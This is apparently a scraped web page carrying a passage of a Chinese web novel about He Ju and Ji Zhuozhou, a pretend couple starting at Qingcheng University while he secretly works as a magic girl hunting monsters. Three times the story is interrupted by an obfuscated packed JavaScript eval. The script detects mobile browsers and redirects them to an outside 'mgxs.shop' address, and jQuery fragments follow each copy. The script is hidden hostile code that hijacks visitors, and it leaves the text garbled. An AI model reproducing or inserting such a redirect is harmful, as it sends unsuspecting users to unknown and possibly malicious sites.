;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076809|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处。 那她和纪卓洲的目标又都是什么? 这个问题也不难。 阿丘强调她和纪卓洲的交往关系,答案一定就在其中。何橘为了应付爸妈,纪卓洲为了应付阿丘,两个人在最恰好的时机双向奔赴。 从这一点本源的认知出发,今天纪卓洲生病后对她的亲昵也有了答案。 何橘想通了,原来是这样啊。阿丘说纪卓洲作为魔法少女的实力不足,所以他一定是为了攒能量。 他们的目标没有冲突,过程彼此契合。所以回到第一个问题。 如何与纪卓洲相处? 笔尖在纸面上摩擦,留下何橘最后的回答。 只要配合纪卓洲就可以了。 何橘心满意足地放下笔,心里的郁结消散大半。 晚上的时候,何芳在餐桌上提起何橘探病的事,顺带提起高考前何橘的那场发烧。 “那次你烧得特别厉害,还强撑着说要去上学,怎么说也不听。”何芳心有余悸,所以印象深刻,“后来还有个同学帮你送模拟考的卷子过来。” 何橘和何大海都盯上盘子里最后一块炸鸡柳,正是比谁更沉不住气的时候,分不出多余的注意力:“有吗?我不记得了。” “你都烧糊涂了,当然不记得。我想想,那孩子叫……” “你今天去探望的朋友叫什么?”何大海丢出新的话题。 “纪卓洲。”何橘不吃这招调虎离山,筷子飞速向炸鸡柳伸去。 “对对对!就是纪卓洲!”何芳眉开眼笑,像是终于找到最后一块拼图,“那孩子特别有礼貌,长得也俊,看着感觉和某个明星有点像。” 何橘一个没加稳,鸡柳掉回盘子里:“谁?” 她放下筷子,怀疑自己听错了,又问了一遍:“纪卓洲怎么了?” “他在你发烧时来家里探望你,说是你的朋友。”何芳笑着说,“那天店里忙,天黑前都是他在卧室帮我照看你。” 何橘刚梳理好的心情又有点忐忑了。 纪卓洲醒来时,房间里一片漆黑,安静地只能听到自己呼吸的声音,阿丘应该在其他房间。 他的身体恢复不少,无力感和困意一同消退,估摸着应该是退烧了。 纪卓洲摸黑开灯,整个人陷在巨大的玩偶里缓了缓,看见书桌上放着一杯水,杯子下压着一张便签。 【晚上记得吃药。走之前我煮了粥,如果不好吃,冰箱里还有一份买来的。】 他抬头,上次约会时没送出去的礼物还静静地放在书柜上。或许何橘看见了,或许何橘没看见,不过现在这都不太重要。 厨房里煮了一大锅粥。 非常质朴的大米粥,只有米和水。 初学者搞不清水与米的比例,也参悟不透一人的食量。纪卓洲看着这份足够三个人吃的大米粥,干脆也没拿碗,端着电饭煲的内胆到客厅。 家里实在太安静了,他总是习惯打开电视吃饭。看什么不重要,重要的是会显得热闹些。 一个人生活,所有琐事都要自己记着,一项不做就会越拖越多。他记得客厅的灯泡坏了一个,最好在开学住校前修好,不然每次回家都看见坏掉的灯泡,总觉得郁闷。 郁闷日积月累,说不准什么时候也会成为压倒骆驼的最后一根稻草。 纪卓洲打开客厅的灯。 四束白光,一束黄光。暖黄色的光格外具有存在感,与其他光束交融,照得冷硬的地板都带上些许暖意。 ……是何橘。 纪卓洲去过何橘家,这种灯光和她家里的很像,应该是她顺便买的。 纪卓洲靠在沙发上,将头埋进抱枕。 他今天都做了什么啊。 突然邀请别人到家里来,胡言乱语一大通。 被碰过的地方现在才后知后觉地开始发热,他还记得一点,摔倒的时候他垫在何橘下面,那时何橘忽然睁大的眼睛圆溜溜的,漆黑的眼底沁着一点亮色。 “……好可爱。” 不知从何处冒出来的阿丘爬上茶几,掏了掏耳朵,没听清纪卓洲说了什么,倒是看见茶几上的一锅粥。 “何橘煮了这么多?喂猪都没这么喂的吧?”阿丘惊讶。 纪卓洲的脑袋还埋在枕头里:“都是我的。冰箱里的你也不许吃。” “你吃你吃。”阿丘鄙夷地说,“吃饱了就好好听我说。” “刚收到的最新消息,有一只怪兽混入了青城大学的新生中。” 18.开学日 几天后,青城大学正式开学。 青城大学,简称青大,坐落在青城市郊区,这一片都是大学的建筑用地。几所大学合抱在一起,共享与市内联通的公交车和地铁路线。 何橘和父母从家里出发的早,到校门口时快到中午,远远看见写有“青城大学”四个大字的门匾在阳光下闪闪发光,五颜六色的帐篷分散在大门两旁,拉开的条幅上是各个学院的全称。 校门口人头攒动,热闹非凡,正是忙碌的时候。何橘排在食品学院队伍的末尾,跟随人群慢悠悠移动。 她的手机振动一下。 纪卓洲:【抬头。】 纪卓洲站在入口另一端的队列里,向何橘挥手。 他身上穿着件浅咖色衬衣,内搭白背心,拎着个大号黑色行李箱。鸭舌帽在脸上投下一片阴影,冷白皮被太阳一照,在人群里格外显眼。 隔着一条马路,何橘看不出纪卓洲病况如何,但从他挥手的幅度看,应该是恢复得不错。 纪卓洲位置比较靠前,很快就进了帐篷。但没过多久,他就又出来了,跟着其他人走到门匾旁边,拿着录取通知书摆姿势。 “你想现在就拍吗?”抱着相机的学生志愿者问纪卓洲,“这是我们学院的迎新活动,照片会洗出来发给你。机会难得,你也可以等会和父母一起过来合影。” “不是父母可以吗?”纪卓洲远远看了一眼何橘。 “也行。底片到时候会发到学院群里,你可以保存发给他。” 原来会半公开,纪卓洲笑了下,放弃脑海中模糊的念头:“还是不麻烦了,我是一个人来的,所以一个人拍就好。” 何橘不知道这是每个人都有的迎新活动,还以为是纪卓洲又在乐于助人,配合宣传。 平心而论,纪卓洲确实长得很帅,而且对着镜头也不怯懦。他对镜头有着出乎意料的适应性,好像天生就知道哪个角度最合适。 青城一中名气很大,其中一半是因为学校老牌,教育实力强劲,另一半是因为善于宣传。 高中时偶尔有一些校外媒体的采访,老师总是让他去。只有一次,班主任是先问了何橘,因为记者说想问成绩优异的学生几个问题。 问题都很常规,哪个媒体的采访何橘已经记不清了,不是什么出名的时报。但何橘每天晚上都要回家帮忙干活,她不想把自己的时间花在这些事上。 新换的班主任不知道何橘家的情况,热情挽留很多遍。他越热情,何橘越不愿解释,低着头不说话,像一块没长嘴的石头。 她讨厌听见别人说“你的父母怎么能让孩子做这些”、“你一个学生能帮什么忙”、“你应该把更多时间用在学习上”,讨厌别人用自己的观念去曲解她与家庭的关系,更讨厌别人借着这一点去评价她的父母。 所以干脆什么都不说。 纪卓洲就是在那时出现的。 放学铃响了三遍,值日的学生已经离开。何橘回教室拿书包,看见纪卓洲坐在窗沿边,倚着透明的玻璃,鞋跟踩在下方的椅子上。 何橘从他身侧走过,能感觉他的目光停留在自己身上。何橘在学校里很少主动和人说话,这次也一样,只顾着把桌上的书本一股脑儿塞进书包,想趁老师带着记者回来前开溜。 先搭话的是纪卓洲:“已经结束了?我还想着这次的记者如果要求低些,我也有机会上电视呢。” 他手一撑,从窗沿边轻盈地落在地上,捞起早就挂在椅背上的包,洒脱地说:“既然这样我也不等了,我们一起走吧。” 何橘拉上拉锁的声音很刺耳。 纪卓洲直觉不对,对着何橘的脸端详片刻,原本往外走的脚步定在原地:“要不我还是去试试?也是难得的机会,说不定会被星探看见,走向人生巅峰。” 他摸着下巴,眉头皱起,好似真的在苦恼不小心当上明星该如何如何。 如果纪卓洲的朋友在这儿,他们该笑着说他痴心妄想了。可惜在这里的是何橘,她提起收拾好的书包,沉甸甸地砸在桌子上。 “你喜欢出风头吗?”何橘说话的语气和她这个人一样扎手,“想去就去。” 以现在何橘和纪卓洲的关系看,这话有些难听了。班上的同学说何橘很难相处,何橘自己也得承认,这话一点不假。 不过当时的纪卓洲听到这话,反而很开心地将书包往何橘的桌子上一摆:“那我去去就回,你帮我看着点。”然后就风风火火地离开了。 留下何橘和他的包。 去就去,还要她帮忙看包是什么意思?书包放在教室又不会丢。何橘正想着她要不要干脆装没听见,纪卓洲又风风火火地回来了。 “走吧。”他灰头土脸地说。 “你怎么回来得这么快?”何橘没忍住问道。 纪卓洲耸耸肩:“我出去时正好碰见记者,他同意让我代替采访,问我怎么安排高中三年?学习压力大不大?” “你怎么说的?” “我说高一正是人一生的分水岭,必须牢牢把握住。” “高二呢?” “高二这一年太关键太重要了,必须牢牢把握住。” 还没等何橘再问,纪卓洲将剩下的也一秃噜说了:“高三这一年是高中最核心最关键的一年,必须牢牢把握住。” 何等干瘪的用词。 何橘:“你真是这么说的?记者和老师没生气吗?” “生气了。他还问我语文多少分。”纪卓洲双手一环胸,胳膊架在胸前,很神气地说,“我说上课听不懂,全靠自学成才,都是跟着他们公众号上教培机构的广告学的。” 这下不但记者脸绿了,旁边教语文的班主任脸也绿了。 纪卓洲描述得绘声绘色,还摆出一副气人而不自知的模样,何橘没忍住笑出声来。 纪卓洲怔愣几秒,撞出来的苦瓜脸马上破功,也跟着她笑,笑到一半走廊传来怒气冲冲的脚步声。 班主任来抓人了。 纪卓洲绕到何橘背后,手压在她的肩膀上,推搡着她急匆匆往外走:“我们快跑!” 他们跑过一排排教室,远离红砖砌成的教学楼,爬满半个栅栏门的爬山虎在风中掀起绿色的波浪。 两个人一路跑到校门口,分开前纪卓洲状似无意地问她:“你不喜欢镜头吗?” “有一点。”何橘用食指和大拇指比出一段距离,停顿后又削减到一半,“只有一点点。” “何橘?在看什么?”何芳问。 没等何橘从回忆中抽离,何芳已经顺着何橘的目光看见远处的纪卓洲,惊讶道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108768|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诶,那是不是你们班上的纪卓洲?也考上青大了?他学什么专业?” 何橘一哽,忽然发现她竟然答不上来这个问题。 都怪魔法少女和怪兽的消息太炸裂了! 好在纪卓洲报到的帐篷不会忽然长脚跑掉,何橘老老实实念出上面的字:“影视艺术学院。” “专业呢?” “……不知道。” 何芳对何橘的没心没肺早有预料,她抚平何橘衣服上的褶皱,叹了口气:“人家生病时来探望过你,你不能什么都不了解。到了大学,需要分工合作的事情会变多,你一个人总有做不到的事,身边有朋友才有照应。” 何橘不怕何芳骂她,也不怕何芳指使她干活,唯独怕被何芳念叨。 她试图狡辩:“我还可以回家。” 青大离她家满打满算也才一个半小时的路程,她没选省外的大学就是图离家近,一有空就能往家跑。 何芳温柔地笑笑:“忘记告诉你,你小姨要来青城看病。正好你去上学,我已经答应让她暂时住在你的房间。” 何橘感觉自己有点听不懂中文,傻傻地问:“什么意思?” 何大海翻译:“就是让你放假前别回来,家里没你住的地方。” 知子莫若母。何芳改变不了何橘的念头,就改变何橘客观的住宿条件。何橘被母上大人这一招惊呆了,等手续办好,领到宿舍钥匙,不得不和父母告别时,才想起来还有事情没和他们交代。 “妈。”她干巴巴喊了一声。 何芳:“事情我已经答应人家,没得商量。” “不是,不是。”何橘脑袋摇得像拨浪鼓,手指在背后绞成一团。 她低头,帆布鞋上有几道白痕。她抬头,宿舍前的梧桐叶子铺满半个天空。 她也说不清自己在找什么,或许是想找些从没见过的事情拖延时间。但已经两周了,不能再拖了。 “其实你可以放心,我有和人好好交往。”何橘用鞋子踢踏着脚边的石子,“那个……纪卓洲……” 何芳困惑:“嗯?” 何橘捏了捏拳头,毅然决然闭上眼:“放心吧妈谢谢你今天和爸一起来送我刚才你提到的纪卓洲现在已经是我的男朋友了你之前对他不是很满意吗这样刚刚好男朋友也是朋友我会照顾好他的我以后还会让你认识我的更多朋友的——” 一口气像倒豆子般扔下一长串话,何橘就一溜烟跑了。 跑,必须得跑,要是被何芳抓住,又是一顿逃不掉的念叨。 何芳先斩后奏,给何橘丢了一颗炸弹,何橘有学有样,也回馈给何芳一颗。 甚至不知道母女俩谁先布局的。 现在轮到何芳感觉自己有点听不懂中文:“何橘什么意思?” 何大海照旧翻译:“要么是她雇了个男朋友应付你,要么是她在骗你。” “先回家。” 何父很镇定,他在停车场找到了自家的面包车,把受惊的何芳塞进副驾驶,手很稳地一路开回家。 到家后,何大海关上门,同何芳一起做晚上的营业准备。切了几个瓜,夫妻俩终于都平复好心情,可以坐下来好好聊一聊了。 何大海:“要不把他宰了吧?” “好办法。”何芳深深赞同。 19.社团 纪卓洲在忙碌中度过开学第一周,对有人计划将他细细切成臊子的事情一无所知。 一边是安排得满满当当的大学生活,一边是魔法少女的本职工作。 大学生大概是这世界上情绪最为丰富的群体,青春、活力、有空闲,还特别容易被牵着鼻子走,短短一周,他已经在学校里抓了一只蜥蜴、一只蜻蜓和两条鱼。 再这样抓下去,他都可以在青城大学开动物园了。 今天周六,纪卓洲早上五点就被阿丘从床上提溜起来,在客流量最大的食堂蹲点。分别送走七点起床吃早饭、九点起床吃早饭和十一点起床吃早饭的大学生后,他的耐心也终于走到尽头。 “真的有怪兽会吃早饭吗?”纪卓洲往食堂的沙发上一摊,真想就这么睡过去。 阿丘在用纪卓洲的手机打音游,八只触手快得有残影,眼睛一眨不眨地盯着屏幕上乱晃的线条,心不在焉地回答:“有的兄弟,包有的。” 可在食堂看谁都是两个眼睛一个鼻子一张嘴,纪卓洲是看不出来有什么区别。他早上和何橘一起吃了早饭,剩下的时间一直坐在这里干瞪眼。 再说什么样的怪兽才能伪装成人啊?原型是猴子的怪兽吗? 手机啪嗒一声摔在桌子上,阿丘突然惨叫一声,痛苦地捂住眼睛。 昏昏欲睡的纪卓洲一秒醒神:“怎么了!怪兽来了吗?” 阿丘悲痛喊道:“我的成绩!”余下的触须齐齐指向手机。 纪卓洲拿起手机一看。 【用户AAA神气小章,经过系统检验,您的账号存在违规行为,请勿多人协同挑战天梯排名,现对您进行为期十四天的封号处理。】 ……不知道食堂中午卖不卖爆炒章鱼须。 纪卓洲没找到怪兽,却等到了另一位不请自来的客人。 餐桌被敲了敲,纪卓洲抬头一看:“高欣?” 他将手机倒扣在桌面上,像拂去脏东西那样隔着空气扫了扫桌面,顺手把阿丘拍到地上:“找我有什么事吗?等下我还约了其他人一起吃饭。” “不会耽误你太长时间的,我的舍友还在那边等我。”高欣笑了笑。在她看过去的方向,几个女生正聚在同一张桌子上聊天。 她们身上穿着和高欣一样的浅黄色T恤,大概是吃过饭后去参加班级活动。 如果何橘没有改志愿,现在应该也和她们一样吧。 纪卓洲扫了一眼就收回视线。 高欣和纪卓洲的关系一直有些微妙。 前者是懂事听话、成绩优异的班长,脾气性格温柔大方。后者是一呼百应、处事率性随意的社交达人。班里组织要人牵头的活动时,俊男美女站在一起,说话时你笑我也笑,说不出的养眼。 也就这样。 没有冲突,没有进一步交互的兴趣,高欣偶尔感觉自己像在和一个戴着微笑面具的假人在对话,她能从纪卓洲身上感受到一种微妙的、同类相斥的隔阂感。但比起其他有可能把事情搞砸的合作者,纪卓洲是个还算靠谱的选择。 不过这个印象到今天为止了。 “你和何橘在交往吗?” “什么?”纪卓洲脸上的笑容有一瞬间凝固。 “你和何橘在交往。”这次高欣用的是陈述句。 纪卓洲“哦”了一声,先是坐直身体,又理了理衣领,漆黑的眼睛微微发亮。 最后双手交拢,大方承认:“是的,何橘告诉你的?已经可以公开了吗?” 果然很讨厌。高欣脸上的笑容淡了几分,特别是这副装模作样的表现,让她莫名有点牙痒。 那可是何橘啊,在学校多停留一分钟都觉得麻烦的何橘。很难说“何橘和纪卓洲谈恋爱”和“她弟弟高颖走在路上被外星人骗走”两件事哪个概率更大。 他们两个从什么时候开始交往的?高中?还是更早之前?猜测刚从高欣脑子里冒出来就被她否决,她看纪卓洲的眼神像在看一只抢跑的兔子,一只投机取巧的笨鸟,一条不安好心的黄鼠狼。 “你有什么想问的可以直接问。”纪卓洲慷慨得像新品发布会上打广告的主讲人。 “纪卓洲,这样不好。”高欣叹了口气,“你有什么难处可以说出来,大家都是同学,会想办法帮你的……你怎么装可怜让何橘不得不帮你说谎的?开了什么价码?” 纪卓洲标准的笑容有一瞬间的凝固:“我高考结束后找何橘告白,何橘答应了我。走的都是世俗认可的正规手续。” 高欣用“你继续编”的眼神谴责他。 纪卓洲:“我真心的。” 高欣:“我也是真心觉得你这样骗人不好。” “……有没有一种可能,何橘其实也喜欢我?” “说点有用的。” 桌子下方传来一声闷笑。 纪卓洲报复性地用鞋跟踢了一脚阿丘,圆滚滚的章鱼像皮球一样滚过纪卓洲坐着的沙发下方,撞上一双运动鞋。 “还不让人笑啊?大家都知道不可能。”它骂骂咧咧地扶着鞋背站稳,原本还想再说几句,但抬头一看来人是谁,立刻闭上嘴巴。 对纪卓洲来说,谈恋爱和称体重有一点像。几斤几两只要登上体重秤一称,自然就会明白。而纪卓洲作为当事人,他可以选择不去称重。 不断被否定的恼意就像海面上的一朵不起眼的浪花,拍击水面后留下空虚又微不足道的泡沫。 “为什么不相信?”他的手无意识地摩挲着手机壳的边缘,脸上的表情与生气、失望、厌恶都无关,仅仅是用漆黑的眼睛看着高欣,“喜欢与被喜欢的关系,这样还不够吗?” 高欣有一瞬间感到心悸,她摸了摸胸口,再看何橘已经站在纪卓洲的身后,瞬间将刚才的心悸抛之脑后:“这是你的想法,何橘是怎么想的呢?” 阿丘沿着滚出去的路又滚了回来,它伸长触须,扒拉纪卓洲的裤脚,小声提醒:“喂,喂!” “哎,忙着呢。”纪卓洲抽走裤脚,见高欣依旧不赞同,咬牙又添一把火,“其实何橘很喜欢我,喜欢的不得了。我们两个情投意合,风雨同舟、同舟共济……” 今天就算是天王老子来了,也没人能质疑他们的情侣关系! 阿丘:…… 阿丘:哇,别怪兄弟没提醒你。大白天的在正主面前说梦话。 高欣沉默了一会儿,幽幽地换人提问:“何橘,他说的是真的吗?” 何橘?何时来的? 这一刻,纪卓洲感觉自己的心脏都停跳了。 他没敢回头,而是先看了一眼手机上的时间。 十二点整。何橘觉得整点吃饭人太多,所以和纪卓洲约好的时间是十二点半。 “就算何橘来了,我刚才说的也是真的。”纪卓洲冷静地说,“别想吓唬我。” 一只手搭在纪卓洲的肩膀上。 纪卓洲僵着脖子回头,还没看见人,先听见他的女朋友用很轻的声音回复高欣。 “嗯。”何橘说,“是真的。” 何橘开学后第一个周末过得很无聊。 爸妈六日不让她回家,对她谈恋爱这件事反应也异常平淡,只说让她有机会把纪卓洲带回家给他们看看,与何橘想象的截然相反。 坦白和纪卓洲交往时,她提前预估了两种可能。一是爸妈暴跳如雷,一怒之下撤销回家禁令,命令她将纪卓洲押送回家;二是爸妈温柔如水,热情接纳纪卓洲并认可何橘的社交能力,欣慰之下销毁回家禁令。 结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143901|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两种情况都不是。 不能回家这件事对何橘的打击很大。 周一到周五跟着班级活动忙碌时还好,到了周末,何橘掐掉早上的闹钟,迷迷糊糊醒来时,宿舍空无一人。阳光从单薄的窗帘透进室内,可怕的寂静在狭窄的空间蔓延。 大学生的身份一种强势的姿态席卷她的生活,破坏她以往的生活节奏,重塑她周围全部的人际关系。 大学宿舍四人一间,其中两个初中时是同班同学,周末手拉手去商场逛街,剩下一个说想在宿舍养盆花,直奔附近的花鸟虫鱼市场。 何橘锁好门窗,离开这间居住一周仍让她感到陌生的宿舍。 吃完早饭后,她先去了校内图书馆。没去找座位,也没有目标,只是边走边从书柜里抽出一本,翻阅几页后放回。他们这届新生的校园卡还没有完成录入,暂时不能把书带离。 然后她又依次去了操场、教学楼、校内湖,中途遇到校内社团张贴招新海报,也认真地看完,一点一点用自己的方式熟悉青城大学。 一圈逛下来,回到出发的食堂。看见纪卓洲和高欣站在一起,何橘最先感觉到的竟然是怀念。 “嗯。”她将手按在纪卓洲宽阔的肩膀上,眼也不眨地配合纪卓洲表演,“是真的。” 何橘和纪卓洲一起糊弄走了半信半疑的高欣,吃饭时纪卓洲边往嘴里塞章鱼烧边频频看她,让何橘忍不住摸了摸自己的脸:“我脸上沾了什么东西吗?” “没有。”纪卓洲摇头,用一种仿佛第一次认识她的新奇口吻说,“何橘,我发现你是一款会说谎的体重秤。” ……嗯,听不懂。 何橘继续淡定地吃饭。 纪卓洲又问:“高欣和你聊了什么?” 他问这句时表情像只拼命遏制好奇心的猫,左半边脸写着“也不是很想知道”,右半边脸写着“快说”,就差把耳朵立起来听何橘是怎么和其他人介绍他的了。 他没听到想听的。 “高欣说如果没人和我一起吃午饭的话,她可以陪我一起吃。”何橘咬着勺子说,“还问我想不想吃冰激凌,现在一食堂的冰激凌买一送一。我说我先和你约好一起吃了,她就说那算了她可以吃两支。” 纪卓洲刚觉得有一点既视感,就听到何橘问他:“你要吃吗?上次约会时我记得你很喜欢。你们的胃口真好。” 纪卓洲和高欣在二楼的冰激凌店狭路相逢,谁也没说话,一人举着两支冰激凌默默离开了。 回去的路上,何橘从背包里拿出一张报名表递给纪卓洲。 “你还记得顾书文吗?在医院找你洗头、看魔法少女动画片的那个人。我今天遇到他了,所以才来得比较早。”何橘说。 碰见他时,何橘的第一反应是世界真小,第二反应就是快跑。 很显然,她没跑掉。顾书文剪掉一头长发,剃了个干净利落的板寸,鸭舌帽往头顶一扣,热情地拦住何橘的去路。 “何橘,别跑了,我早就在新生名单里看见你和纪卓洲的名字了。”对方不由分说地将两张报名表塞进他怀里,“既然我们这么有缘分,作为魔法少女研究社的社长,我郑重邀请你和纪卓洲来参观。” 何橘试探地问:“如果不去的话?” “嗯……我拿你没办法。”顾书文稍加思考,“但很可惜啊,我想和你们聊聊的。因为出院那天,我看见了活着的梅可可。” “活的?” “是啊。”顾书文双手枕在脑后,脸上露出一丝向往,“金发粉裙,漂亮、高贵、优雅……绝对是梅可可不会错!我一定要再见她一面。” 何橘:“金发……粉裙……魔法少女……” 何橘:! 是纪卓洲啊!!!